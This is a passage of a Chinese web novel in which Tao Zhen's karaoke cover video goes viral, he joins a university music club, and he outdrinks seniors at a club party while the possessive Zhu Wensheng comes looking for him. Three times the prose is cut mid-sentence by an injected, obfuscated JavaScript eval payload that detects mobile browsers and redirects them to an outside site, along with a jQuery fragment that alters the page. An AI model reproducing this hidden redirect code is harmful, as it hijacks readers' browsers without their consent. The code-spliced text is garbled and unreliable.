他没有开口问祝闻声为什么要出去,但心里已经很明白了,等祝闻声消失在他的视线里,才慢吞吞地走到点歌台前,摁了切歌。 VIP包厢里几乎什么都有,根本没有出去的必要。 祝闻声不想留在这儿的原因,大概就是自己唱的实在是太……难以入耳。 陶真在原地沉默了一会,心里有点不是滋味。 四周终于安静了,没有了镜头,没有了旁人的视线。 他终于垂下眼,轻声地随着音乐唱了起来。 “让我将你心儿摘下,试着将它慢慢融化。” “看我在你心中是否仍完美无瑕。” “是否依然为我丝丝牵挂,依然爱我无法自拔……”* 金发少年漂亮秀丽,浓黑的睫羽垂下,遮住湿漉漉的圆杏眼,浅粉的唇瓣张合。 微微沙哑的少年音色像是有把小钩子一样,温柔缓慢,一点点地挠着人的心尖。 不知过了多久,一曲结束。 碎蓝色的光芒洒落在眼前,模糊了一片视线。 陶真拿着话筒发了一会呆,余光忽然暗了下来,身旁的沙发一陷。 高挑俊美的黑发少年无声无响地坐下,旋即,轻轻地放下了一部手机。 掌心登时一片滚烫,陶真怔怔地垂下眼,视线聚焦。 一个六分三十二秒的视频。 命名,《挪威的森林》。 …… 陶真猛地抬起头,猝不及防地撞上了祝闻声漆黑如墨的双眸。 “别紧张,陶真,” 那双看似冰冷的眸,倒映出少年璀璨的金发, “你唱得很好。” 15.第 15 章 陶真的呼吸凝滞了几秒。 他很轻很轻地吸了一口气,好像生怕惊扰了什么似的,睫毛如同蝴蝶的羽翼一般猛地颤了颤。 在脑海里细细地咀嚼了一遍祝闻声说的话,迸出的火花霎时间点燃了烟花棒的引线,噼里啪啦地烧出了刺目且绚烂的亮光。 陶真后知后觉,恍然大悟般地抬头,对上祝闻声的双眸:“所以,你刚刚说自己要出去……” 原来,并不是嫌弃他唱得难听啊。 只是知道他紧张,所以特意借口离开,为他留出可以自由、正常发挥的私人空间吗? 祝闻声轻轻地嗯了一声。 他没有得意地邀功,也没有解释自己这么做的动机,只是在短暂的安静后,重复道:“你唱的很好。” 又是这句话。 陶真猝不及防,只感觉自己的心被狠狠地戳了一下,像牡蛎被撬开壳,露出了内里最柔软的地方。 向来大大咧咧、笑得没心没肺的人,此刻有些僵硬地扯着唇角,慢慢地抬起头:“……真的?” 祝闻声垂下眸,眼神一寸寸地掠过眼前的金发少年。 仰着小脸,屏息凝神地等待着一个答案,湿漉漉的杏眼里晕着点连自己都没有意识到的水光。 很可怜,又很可爱。 “真的。” 像是一块巨石落下,陶真只感觉自己的心脏被砸得“咚咚咚”地狂跳,脑袋直发晕。 他像是在沙漠里长途跋涉了许久的旅人,顶着头顶爆晒的太阳孤零零地往前走。在濒临渴死的边缘,忽然得到了一场润泽万物的瓢泼大雨。 哪怕这场雨很快就会停,他也靠着这场雨装满了自己的水壶,有了继续往下前行的勇气。 过了好半晌,他才反应过来,露出了一个真心的笑容,神秘兮兮地凑到了祝闻声的耳畔:“……你过来,我跟你说个秘密。” 祝闻声的喉结滚了滚,犹豫了片刻,俯耳过去。 陶真弯起眼,抱住祝闻声的脖颈,温热的呼吸细细密密地喷薄在祝闻声的耳垂上,几乎像是一个轻轻的吻:“祝闻声,你是世界上第一个夸我唱歌好听的人。” “谢谢你,我真的特别开心。” 祝闻声的呼吸乱了两拍,瞬间绷紧了身体。 早在各种训练中磨损、扭曲到畸形的耳朵,本该对这种轻若无物的“袭击”而感到麻木。可身体的本能却不受他的控制,战栗的麻痒从陶真贴近的地方一路蔓延,遍布全身。 他压下了心头那股冲动,目光直视着前方,哑声说:“…你本来就很好,只是别人都没有听见而已。” “那我就更要谢谢你啦!” 陶真眨了眨眼,语气有些认真:“谢谢你,愿意听见我。” 如果不是你的话,我可能要当一辈子别人眼里的“音痴”啦。 祝闻声猛地转过头,心脏剧烈跳动,胸口忽然有些热。 陶真却毫无所觉地弯起了眼睛。 他的笑容腼腆,期待,又兴奋,让人很容易地联想到露出毛茸茸肚皮、因为喜欢的玩具而打滚的小动物。 单纯,稚拙,全心全意。 “祝闻声,你真好!” 明明轻轻一戳,就会打一个趔趄,偏偏下一秒就又会爬起来,不计前嫌地凑到自己的身边,分享喜欢的东西。 对视了几秒,祝闻声有点仓促地挪开了目光。 不。 他一点都不好。 好人,才不会产生将陶真一口吞掉的想法。 - 两人来KTV的主要目的就是为了给陶真录一条面试音乐社团的视频,现在视频已经录好了,便也没在包厢里多待。 毕竟,陶真虽然比之前有信心多了,却还没完全适应在旁人的面前唱歌;而且祝闻声对唱歌完全无感,从头到尾都没去过点歌台,实在是没有任何抢麦的乐趣。 出商场时,天空还是蔚蓝的,太阳斜斜地挂在一侧。 陶真热得不行,赶快打了车。他本想先把祝闻声送到目的地再回家,却没想到不顺路。为节省时间,他便先下了车。 他回家以后迅速地冲了个澡,满身潮湿的水汽还没擦干,就匆匆忙忙地扑到电脑前,打开了邮箱,将那个视频上传为附件,同时按照学姐的要求,认认真真地敲了一段自己想进音乐社的理由。 “叮咚”一声,成功发送。 盯着邮箱看了一会,陶真的心跳依然有些快,手指无意识地在鼠标的滚轮上滑动了几下,顺手点开了自己经常看林曼妙剧团录播的视频软件。 他不由自主地一怔,上下浏览了一遍收藏夹里的音乐视频,忽然生出了一个念头。 要不然……把他这条视频也传上去吧? 虽然肯定没什么人看,但他自己可以给自己点收藏呀,这样,他唱歌的视频,也就可以跟林曼妙他们剧团的放在一块了! 陶真有点兴奋,行动力很强地登录了后台,随手填完标题和简介就直接摁了发布。等缓冲结束的小标亮起后,他立刻摁下了视频右下角的五角星。 通知提醒那里立刻亮起了一个小红点,显示用户【真知棒】收藏了您的视频。 陶真对着收藏夹自顾自地乐了一会,忽然感觉有点冷,这才意识到自己连头发都没擦。 他匆忙跑进浴室拿了条毛巾,看 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15793900|174714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 见了自己换下来的衣服,忽然意识到了不对劲。 诶? 出商场时他嫌热,顺手把外套脱下来了。 结果上车时往座椅上一扔,下来的时候好像忘了带走…… 肯定是丢到车上了。 他好喜欢这件衣服的呢! 陶真一骨碌站起身,正要给司机师傅打电话,就忽然听见“叮咚”一声,屏幕最上方的消息通知栏显示,【S】给他发了条消息。 祝闻声? 陶真后知后觉地回过神来,祝闻声今天是在他后面下的车,也许顺手将他的外套带下来了。果不其然,打开微信一看,一张照片映入眼帘。 祝闻声单手提着他的外套,大掌粗粝且骨节分明,结实流畅的小臂线条极为漂亮。 【S:衣服忘了。】 陶真有点高兴,他下意识地打字:【谢谢!!下次我们出来约会的时候你带给我……】 打到一半,他忽然想起了什么,有点苦恼地皱起眉,长摁了一会删除键。 不行不行,这样也太直男了吧? 虽说他是金主,可这么长时间以来,几乎没怎么给祝闻声花过钱。这会连一件衣服都小气吧啦的,也实在是太没面子了…… 祝闻声安静地等了许久,屏幕顶端却一直显示“对方正在输入中”。 他情不自禁地垂下眸,盯着手里的外套看了几秒。这衣服和陶真本人一样,张扬耀眼。 也许是因为深受主人喜爱,所以染上了更浓郁的香味。清新的皂,扑鼻的花,浅淡的奶,有点像小孩子经常会用的爽身粉。 比起那件只披过一小会的黑色卫衣来说,这件衣服上,“陶真的味道”要重许多—— 【真知棒:嘿嘿,说明这件衣服比较喜欢你。我买的是超级oversize,留给你穿好不好?】 【真知棒:我这里还有裤子,也是一套的,下次一起带给你!】 陶真顶着毛巾,盘腿坐在床上,冥思苦想了一阵,终于敲出了完美的回复,忍不住嘿嘿笑起来,表情相当得意。 然而那头迟迟没回复,他渐渐地就有些高兴不起来了。 陶真掀开了头上的毛巾,眼巴巴地盯着屏幕,生怕下一秒就看见那头发来拒绝的消息。 祝闻声连那件那么低调的芬迪衬衫都不喜欢,会不会不愿意收下这件白金配色、花里胡哨的外套啊…… 手机叮咚两声,陶真赶忙捂住屏幕,小心翼翼地从指缝里偷看—— 【S:。】 【S:好。】 陶真呆了两秒:咦? 难道祝闻声不喜欢芬迪,喜欢范思哲吗? 16.第 16 章 周末两天一晃结束。 周一的早八课上,班里大部分学生都还没从假期的状态回过神来,乌泱泱地坐在教室里,活像是一屋子行尸走肉。 老师在讲台前调试着PPT,让大家赶快玩玩手机清醒一下,引起了台下一阵哄笑。 陶真猫着腰,从教室的后门溜了进来,在贾嘉给他留的位置上坐下,终于松了口气,把给她带的一份早餐推了过去。 女孩如蒙大赦,一边如狼似虎地进食,一边从口袋掏手机转钱,含糊不清地说:“谢谢真宝!” 陶真弯起眼,伸手强势地关掉她的转账页面:“跟我计较什么!说起来,你昨天晚上去做贼了吗?眼睛这儿——都变成熊猫了。” “哎,别提了!我昨天都洗漱完上床了,才突然想起来没交音乐社面试的视频,赶快又爬下去,让我舍友帮我录了一段。发完邮件都已经十二点了,更别提我又卸妆、玩了会手机……” 贾嘉猛地揉了揉自己浮肿的脸颊,双眼无神:“要是面试不过,我就杀到音乐社,跟他们拼了!” 陶真乐不可支地附和了她一句:“我前天也特意去KTV录了一段呢,要是不过的话我就跟你一起。” 两人都没忍住笑了,正要再聊两句,台上的老师却调试好了PPT,清了清嗓子,让大家将教材拿出来。 班里顿时安静下来,众人被枯燥无聊的国际管理渐渐催眠,没多久就睡了一大片。 陶真也听不下去,但他觉得趴下来睡觉对老师不太礼貌,所以还支着脸颊强撑着,小鸡啄米一般一点一点。 然而就在他的脑袋即将重重磕到桌面时,耳畔忽然响起了一声压抑不住的惊呼。 他猛地惊醒,迷迷糊糊地睁开眼:“怎么了?!” 兴奋到满脸通红的女孩用力地掐了一把自己的大腿,将手机递了过来,努力压低着声音:“真宝,我过了!” 屏幕亮起,短信页面显示:【亲爱的贾嘉同学!你好,恭喜你通过了大艺团·音乐社的面试选拔。我们热爱音乐,我们相信音乐可以改变世界!收到本消息,请在周三前回复,并加入Q.Q群聊:9876……】 陶真屏住呼吸细细地读完了这条消息,霎时一脸惊喜,乌溜溜的眼里闪着小星星:“太棒了嘉嘉,恭喜你啊!” 贾嘉被这么真诚的夸赞弄得有点不好意思了,她嘿嘿地笑起来:“我就是运气好,真宝你肯定也没问题啊。” 陶真笑着摆摆手:“希望吧!” 贾嘉:“你是什么时候发的邮件?学长学姐他们连我昨天半夜发的都审核到了,应该也给你发信息了吧?” 陶真一怔:“我周六晚上就发了,但……” 他略微一顿,心跳不由自主地加快了几分,攥了攥衣角,才把口袋里的手机拿出来,点开了短信。 与贾嘉不同,他的短信页面空空如也。 明明女孩是在他之后交邮件的,她都已经快速地通过了审核,可他却…… 眼看着少年脸上兴奋和期待的笑容渐渐消失,贾嘉在心中暗道了一声不好,有点局促地扯了扯他的袖子,佯装不在意地说:“哎呀,我知道了!学姐他们肯定是倒序审核的。” “没想到吧,我们这些ddl选手竟然还有这种福利!” 陶真凝固的神色略微松动。 对啊,反正学姐他们说两个工作日之内才出结果呢,着什么急? 他很快就把自己哄好了,重新对身旁的女孩露出一个灿烂的笑容:“嗯!我不着急!” 贾嘉松了口气,这才放心地去跟其他朋友分享这个好消息。 然而她却没有注意到,那之后的一节课,陶真再也没有趴在桌上昏昏欲睡,反而一直低着头,悄悄地刷新着自己的短信页面。 直到下课铃响起,众学生们一窝蜂地挤出了教室,他才心事重重地关闭了【邮件发送成功】的页面,神色如常地跟上了大部队。 最近刚好是社团招新的季节,大一年级的学生们都在讨论这件事,大家的脸上洋溢着笑容,兴奋激烈地分享着自己的爱好。 陶真背着包,安安静静地跟在眉飞色舞的贾嘉身后,在她回头时笑起来,其余时间都情不自禁地垂下眸,盯着自己的脚尖。 忽然,一道略微有些陌生的男声响起:“陶真?” 陶真下意识地回头,迎面向他走来了一男一女,说话者是戴着眼镜的斯文青年,女人则穿着优雅成熟的紫色长裙,手里抱着一叠不知什么东西。 他想了想,认出了这个斯文青年:“白…白宇轩部长?好巧,你也在这边上课吗?” 白宇轩先冲一旁的女生耸了耸肩,低低道:“我跟你说的没错吧?”旋即才含笑点了点头,对陶真说:“不,我们是特意过来找你的。” 陶真一愣:“……我?” 一旁万事通的贾嘉认出了这两人:“白部长,柳部长。” 他们俩,一个负责大艺团,一个管理音乐社,平常里都是挺忙的人物,怎么会特意来找陶真这种名不见经传的普通小卒呢? “是的,”柳部长的声音清冷御姐,“能麻烦你跟我们去一个安静的地方聊一会吗?” 贾嘉一脸担忧,忍不住扯住了陶真的袖子。 她害怕他们专程来走一趟,就是为了说一些不太好的消息。 陶真显然也想到了这一层,他的声音有些干涩,却依然大大方方的:“好,那儿就有间空教室。” 柳部长颔首,跟白宇轩一起打开教室门。 陶真拍了拍贾嘉的肩膀,也跟了上去。 教室门关上,登时削弱了走廊阵阵嘈杂的交谈欢笑声。 头顶灯光大亮。 陶真深吸了一口气:“请问你们找我有什么事?” 柳部长盯着他的脸看了几秒,忽然有点无奈地笑了:“其实……” “见到你之前我确实有很多事想问你,比如你发给音乐社的面试视频究竟是不是本人,即使老白替你担保过,我心里仍然放心不下。但见到你之后,我发现是我多虑了。” “你跟视频里长得一模一样,甚至比那里面还要好看一些。” 陶真越来越迷糊了,有点不解地歪了歪头。 这年头,音乐社还要看颜值吗?如果P图P过头的就不收? “不好意思,我还是没太懂……” “我跟其他同学面试的流程都是一样的,为什么要单独来找我呢?”陶真终于没忍住,打了直球,“是我的面试视频出什么问题了吗?” “我到底……能不能进音 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15802660|174714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 乐社呀?” 听他一口气说完,两人都愣了一下。 过了几秒,白宇轩才试探性地说:“你视频……你不知道?” 陶真茫然:“知道什么?” “你提交的视频这两天在网上都爆到百万点赞了。我们社团的审核人员全都刷到过,”柳部长提高了些许声音,“他们以为你是盗了网上的视频来面试社团,所以才让我来找你,确认视频到底是不是你本人——” “你的面试视频没有任何问题,你唱的那么好,怎么可能进不了我们这个小小的音乐社?” “……” “嗡”的一声,陶真感觉到一阵晕眩。大朵大朵的烟花在脑海中炸开,烧尽了胸口沉郁,将他的世界渲染成彩色。 “所以…我…通过了……?” 柳部长点了点头,她有些好笑,和白宇轩耳语了两句,将手中的成员资料表塞给他,翩翩然地走了。 白宇轩接过表,在上面写了陶真的名字,微笑着递过去:“你当然通过了。欢迎加入音乐社,周三晚上有活动,到时候记得来参加哦。” 说完,白宇轩也走了,追上了柳部长的步伐。 陶真却还没从震惊中回过神来,只凭着本能动作,半晌后才如梦初醒,先掏出手机点开了软件。 从周六晚上发完视频之后,他就一直都没上线。这会刚打开后台,铺天盖地的通知消息涌来,竟然让性能顶配的手机硬生生卡了好几秒。 点赞103.4万,收藏41.6万,评论20.2万。 后台的私信数不胜数,除了要微信的粉丝,还有许多广告商,甚至还有卖假鞋的。 陶真盯着这惊人的数据看了几秒,舔了舔唇,脑袋还是有点木。 他这条视频的热度,丝毫不逊色于收藏夹里的其他内容。 有点像是在做梦。 可这确实是真的。 喜悦后知后觉地冲上了心头,陶真没忍住笑起来。 他眉眼弯弯地抱着手机呆呆地看了好一会,像是一只掉进了粮仓的小仓鼠,一定要用粮食把两颊塞得满满的。 自己欣赏完,又干脆地把视频链接转了一大圈,收获了陶大俊先生打来的二十万人民币,以及风华绝代群里占满了一整个屏幕的“卧槽”和“苟富贵勿相忘”,还有贾嘉的尖叫…… 陶真嘿嘿傻笑,滑了滑屏幕,忽然在林曼妙的聊天框停住。 他给许多熟悉的人都发了,唯独轮到林曼妙时犹豫了。没忍住,点进视频又重新审视了一遍。 ……忽然就发现,自己的技巧比起林曼妙来说还是太过青涩,气息也不足。 要不,还是算了? 陶真有些讷讷,正要胡思乱想,手机却忽然响了起来,打断了他的思绪。 他赶忙接起来:“喂?祝闻声?” “是我。” 陶真眼睛一亮:“你看见了吗,你给我拍的视频火啦!” “嗯。你唱的很好。” 祝闻声的声音一向清冷,此刻却顿了顿,语气里竟然有几分柔和:“现在,世界上有很多人夸你了。” 陶真愣了两秒,忽然笑起来:“是,是有很多人夸我了。” “但你跟他们不一样,你是我的第一名呀。” 17.第 17 章 祝闻声的呼吸一滞,视线牢牢地定在少年那张写满了依赖的笑脸上。 他这辈子当过许多次第一名,可从来没有哪一刻会像现在这样魂不守舍,整个人的心跳不受控制地加快,手心也沁出了细细密密的汗。也许是因为其他的事情都受他的掌控,陶真这个人,却一向不在他的意料之内。 陶真永远生活在寻找未知生活的路上。 天真单纯,对一个人好的时候就恨不得把自己的心掏出来,却也拥有果断的残忍,会在绝交后收回自己所有的好意。 跟这样的人相处恋爱是痛苦的。 享受过他无条件的崇拜和倾慕,就再难以忍受原先一个人孤零零的日子。 陶真世界里的第一名? 只是短暂的而已。 “……嗯。”过了好几秒,祝闻声垂下眼,语气重新变得清冷而平静:“没什么别的事的话,我就先挂了。” “诶!等一下呀,我还有件事想拜托你呢,”陶真睁圆了眼,尾音微微拉长,“下次有空的时候,你还帮我拍视频,好不好呀?” 祝闻声语气淡淡的,指尖捏紧手机:“不找音乐社的同学帮你拍吗?” “不找,”陶真立刻否认,有些像是在撒娇,“我没办法在别人面前唱歌,想一想就觉得很紧张。但你跟他们不一样呀。” “可以吗祝闻声?可以吗?” 祝闻声的呼吸略微急促,半晌才哑声道:“……可以。” 陶真毫无所觉,弯起眼笑:“嘿嘿,你真好!” 电话很快就挂断了,祝闻声却坐在原地半晌都没动。向来不会短一分钟训练的人,这会干脆地翘了最后半小时的训练,点开了视频链接,又看了一遍。 室内略微有些昏暗,蓝色的球灯光在暗色的瓷砖上起起伏伏,显得四周犹如深海。 金发少年静静地坐在立麦旁,轻声唱着情歌。一字一句,仿佛雨滴落下,轻轻敲打在窗檐,既清朗,又觉缠绵。与原唱略微粗哑的嗓音不同,他唱这首歌,自带一股温柔蛊惑的气质。 尤其是他还长着这样一张令人过目难忘的面容。哪怕镜头隔了挺远,依然能看清他鸦黑色的纤长睫羽、圆钝水润的杏眼。浅粉的唇瓣一张一合,饱满莹润。 不过距离上一次看才过去了十几分钟而已,视频的热度就又涨了一波。 祝闻声垂眸盯了好一会,一键创建了一个平台的账号,点完一颗小红心和五角星,才戳开了评论区。 【有没有一点点:我的妈呀!这是我除了原唱之外最喜欢的一首翻唱,能不能上传到云音乐,我要每天循环播放!太好听了叭!】 【薄荷奶绿yyds:卧槽!!!这歌怎么这么好看,不对,这脸怎么这么好听!】 【神券膨胀六元:小帅哥,姐不白听你唱歌,姐给你摇人。@神券炸我一脸@……】 网友的各种评论和表情包都贼有趣,祝闻声上下浏览了一遍,脸色也略微柔和了一些。然而就在他准备关闭视频时,忽然瞥见了几栋与众不同的高楼。 【脖子以下不能写:我竟生出一丝结婚的念头。】 【纯情蟑螂火辣辣:老公,下次别为了气我发这种视频出来好吗?我们两个关起门来看就好了。】 【审核能别锁了吗:小帅哥,姐有点小钱,你别上班了,我养你。一个月一百,够不够?不够的话我再给你加一个零,十个月一百。】 “……” 祝闻声越往下看,眉心就皱得越深。 到最后,他的脸色沉郁如水,啪”地一下将屏幕翻了过去,紧紧地攥着手机的边缘。 与此同时,楼下传来一阵交谈: “总教,S呢?他的营养餐做好了。” “他说暂时有事去打了个电话……嗯?难得他今天会离开这么久。没事,你先放下,我来找他。” 祝闻声起身,冷着脸下了楼:“来了。” 正在交谈的两人一怔,只见高挑俊美的黑发少年撂下了手机,捡起拳套,动作凶狠地给拳击柱重重地来了一下。 力道之大,几乎让他们感觉到有实质性的震颤余波。 营养师和总教对视了一眼,讪讪地放下了餐盘,目光却不经意地在祝闻声没锁屏的手机上定住。 应该是刚刚不小心碰到了吧。 不然这个【脖子以下不能写】、【纯情蟑螂火辣辣】……的评论下面,怎么都多了个“踩的”标识呢? - 接下来这两天,陶真视频的热度又翻了一番。 到周三时,点赞已经有了二百多万,也上了视频软件的热门榜单。 在当今社会,只要天时地利人和,这样突然的“爆火”是常见的。可正是因为太常见了,所以人们的新鲜劲很快就会过去。太多人上一条还风光无限,下一条就销声匿迹。 陶真还算是比较好的了,通过这条二百多万的视频留下了六万多的粉丝。但佟夏和贾嘉他们未雨绸缪,都在催他赶快准备下一条视频。 陶真自己也在思考唱什么,想了足足一整节形策课。临下课前,忽然收到了一条白宇轩发的微信。 【轩.:陶真,别忘了晚上部门成员活动聚餐哦!地址在丰和路223号,Now音乐酒吧。】 陶真暂时将那张记满了歌名的纸放到一边,回复了收到。 既然自己想不出唱什么,那就听听大家的建议。 而且,从上次白宇轩帮他在柳部长那里做过“担保”后,他就已经对白宇轩改观了。这人还挺好的,愿意为人出头,仗义,可以处朋友。 当然,前提是他别对祝闻声动心思,知道朋友妻不可戏这条道理。 七点半,陶真按时到了约定地点。 音乐社财大气粗地包下了里面一半的位置,来的人除了像陶真和贾嘉这种大一新生,还有原先就在社团里的学长学姐。众人随机排列组合地坐在一块,见到有新人进来就赶忙兴奋地挥手,气氛相当融洽。 陶真刚一进去,就立刻引起了一阵骚动。大家都很好奇他这个新晋“网红”,好奇宝宝一样将他围起来问东问西。 所幸他本来就很擅长跟人打交道,一点也没有不耐烦,笑容灿烂,一个个回答。 白宇轩和柳部长——柳娴站在不远处,两人准备等陶真说完话,就把他带进卡座。 他们面前的木质桌子上摆着一个巨大的可乐桶和数个玻璃杯,除此之外还有许多啤酒、果味酒饮料。 数量实在是太过惊人,连白宇轩自己都不免有些吃惊,用胳膊肘顶了一下柳娴:“我不是说稍微多点一些吗,你怎么点这么多?” 柳娴毫不在意地挥了挥手:“多喝点才有意思啊,大家以后都是音乐社的一份子了,今天当然要喝个尽兴。我还特意让人家加浓了可乐桶呢。” “是,但咱们又不知道人家的酒量多少……” 白宇轩看了眼不远处的陶真,有几分欲言又止。 他的确存了几分想将陶真灌得醉一点、好方便交流感情的想法,但、但总不能趁火打劫、趁人之危吧…… 柳娴笑起来,似乎想说些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15804091|174714||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 什么,便见陶真往他们的方向走了过来,赶快推了白宇轩一把。 “白部长,柳部长,”陶真看了一圈桌上的东西,“哇,点了这么多吗?我以前没喝这种酒的。” 白宇轩被推得上前了一步,跟陶真面对面:“咳……直接叫我宇轩,叫她柳娴就好,不用那么客气。” “没喝过不要紧,这种酒喝起来就跟饮料一样,不难喝的。” “是啊,”柳娴适时道,“大家都快坐下吧。为了庆祝新成员加入音乐社,我们一起干一杯!” 陶真的手里多了一个装满了黑色气泡液体的杯子,他好奇地打量了一番,仰头喝尽了。 入口是甜甜的可乐味,甚至还嚼到了小片柠檬,几乎品不出什么辛辣刺鼻的酒香。 陶真的眼睛亮了亮:“诶,真的挺好喝的。” 白宇轩略微有些心虚地咽下了一大口,看了眼身旁的柳娴,佯装镇定地替陶真又倒了满满一大杯。 “好喝就行,”他忍住冲上头顶的晕眩感,“来,我们再干一杯,恭喜你的视频获得那么好的成绩!” 陶真接过玻璃杯跟白宇轩碰了一下,在身旁的一众叫好声中又抬头干了。 “不好意思啊陶真,我们为之前怀疑你道歉……能一起喝一杯吗?”两个女孩有些羞涩。 陶真毫无芥蒂地摇摇头,一口气喝了第三杯。 “……” 眼看着陶真像个无情的机器人一样连续喝了这么多还毫无反应,白宇轩有点坐不住了,他仔细端详了一下陶真的脸色,发现他竟然神态正常,毫无波澜。 反而是白宇轩自己,喝到第四杯加浓可乐桶的时候已经有点头晕眼花了,酒精冲上了脑袋。 “陶真,”他没忍住问,“你……你现在,喝这么多,难道一点感觉都没有吗?” “你不是说,说你以前没喝过这种酒吗?” “我的确没喝过呀!” 陶真眼神清明,语气认真:“我小时候在家跟我爸喝二锅头,后来喝茅台,从没喝过这种饮料酒。” “不过我酒量不是很好的,正常都是一斤白的,再喝多就会觉得头晕啦。” 四周的人醉的醉,疯的疯。 白宇轩以一种痴呆的表情望着陶真。 “诶,我现在有一点感觉了,”陶真站起身,有点不好意思地笑了,“可乐喝多了,先去一趟卫生间。” “……” 目送着陶真步履轻盈自然地拐进了走廊,白宇轩用力地掐了一把自己的大腿,努力忍住想吐的冲动。 桌上的手机忽然亮起,他有点头晕眼花,以为是自己的,下意识地接了起来。 “喂?” 一道陌生而粗哑的男声传来,背景音是一片嘈杂。 在Light里工作那么久的祝闻声几乎立刻就明白,那是酒吧。 刹那间,一股难以言喻的火气冲上了心头,他吞下了自己原本有空陪陶真拍视频的话,难辨喜怒地开口: “这部手机是陶真的,他人在哪里?” “唔……陶真的?” 白宇轩呆呆地看了几秒才反应过来:“啊,对……是陶真的。他手机没带,人去厕所了……” “你是他的谁啊?要过来找他吗?” “我是他的谁……” 一字一顿地将这句话咀嚼了一遍,神色阴郁到能掉冰碴的祝闻声竟然轻轻笑了一声。 “是,我要过来找他。” 过了好半晌,他冷冷地撂下四个字:“地址发来。” 18.第 18 章 陶真上完厕所出来,才想起自己的手机没带。 酒吧可不比学校,哪怕东西在人身上都很容易丢失。他匆匆赶回了卡座,见手机还完好无损的放在桌上才松了一口气。 顺手点亮屏幕,没看见什么未接来电和消息通知,便直接将手机揣回了口袋。 音乐社的其他人此刻都已经嗨上头了,正群魔乱舞般玩着酒桌游戏,扯着嗓子唱死了都要爱。 白宇轩见陶真回来了,眼睛一亮,挣扎着从凹陷的沙发里爬起来,努力理清自己混乱的思绪:“啊,陶真,你刚刚去外面的时候,你的……” 陶真没听清,下意识地往他的方向凑了过去:“什么?” “我是说,你刚刚去外面的时候,我替你接……” 白宇轩一句话还没说完,身侧忽然架上了一对胳膊,两个与他同级的学生凑了过来,嬉笑着打断:“老白!你这个不厚道的,在这儿偷偷跟小学弟聊天,就是为了躲酒是吧?” “才喝了这几杯你就不行了?杯里这么多酒,你来酒吧养鱼呢?!”他们大吼了一声,抓住白宇轩的下巴往里倒酒,“快!喝!” “……” 白宇轩来不及解释,也来不及反抗,相当狼狈地被灌了半天加浓版的可乐桶,到最后到了一弯腰就想吐的地步。 而他的两个朋友显然正在兴头上,还在欢呼叫好。正在这时,一道清朗的男声响起。 “别让他再喝了吧,我看他状态已经不太对了。” 那两人一怔,顺着声音来源望去,只见一个模样极为漂亮的少年走过来,大大方方地说:“我跟你们拼一场,怎么样?” 空气沉寂了两秒。 一人忍不住笑了:“学弟,我们没那个意思啊。我们不灌老白就是了,你何必要为难自己跟我们拼酒呢,你看起来就不是喝酒的人啊。” “是啊,”另一人更心直口快,“你要是喝醉了,我们都不知道该把你怎么弄回去……” 没等陶真说话,白宇轩一个激灵,鲤鱼打挺般从沙发上坐起来,抓住朋友的领子:“不…不,你们别跟他比,我说真的……” 两人看了白宇轩一眼,忽然露出了恍然大悟的神色。 原来老白对这个学弟有意思啊,所以才这么担心人家。 “行,”他们立刻改口,“来吧学弟,我们今天就来拼一拼!” 陶真丝毫没在意他们之间的弯弯绕绕,豪爽地抬起酒杯,笑容灿烂:“来!” 酒杯碰撞声响起。 白宇轩重新倒回沙发里,不忍直视地闭上了眼睛。 …… 二十分钟后,这场狂欢热闹的社团活动还没迎来结尾,却已经有人扛不住了。 柳娴被从其他桌喊过来时,心脏咚地一跳,柳眉倒竖:“你是说阿雄和小宋他们过去跟老白一块灌陶真了?疯了吧他!我本来只是想让大家喝得尽兴,同时让他学会怜香惜玉,帮陶真挡挡酒什么的……” “结果他居然喊人一块来灌陶真?!”柳娴怒道,“他这人怎么这样!要是陶真出了什么事,我肯定……” 肯定后面的话还没来得及出口,她的脚步倏然一顿,瞪大了眼睛。 木桌旁七横八竖地躺着三个原本斯文俊逸的男大学生,此刻正以叠罗汉的姿态架在一起。 白宇轩神态麻木地垫在最底下,而阿雄和小宋这俩人此刻正嘿嘿傻笑着,左脚画圈右脚踢,左手比六右手比七。 陶真好端端地站在一边,有点心虚地挠了挠脸颊:“学姐,不好意思啊。” “我没怎么跟别人拼过酒,我不知道他们才喝了这么点就会醉,明明这一整桶里都没有一斤白酒啊。” 柳娴一个踉跄,魂不守舍地说: “没、没事…你没事就好。” 她好不容易才从震惊中缓过神来,喊了几个熟悉的社团成员一起来搭把手,把白宇轩三人一块儿抬了起来。 陶真于心有愧,若不是他要跟这两人拼酒,也不会让他们醉成这样,于是自告奋勇地架着他们的胳膊。 走到了酒吧门口,柳娴她们回去,他则一个人留了下来,陪这三人等出租车。 夜晚,霓虹灯的招牌闪着粉紫色的光,将入目所及的一切都模糊成了暧昧的昏暗色彩。 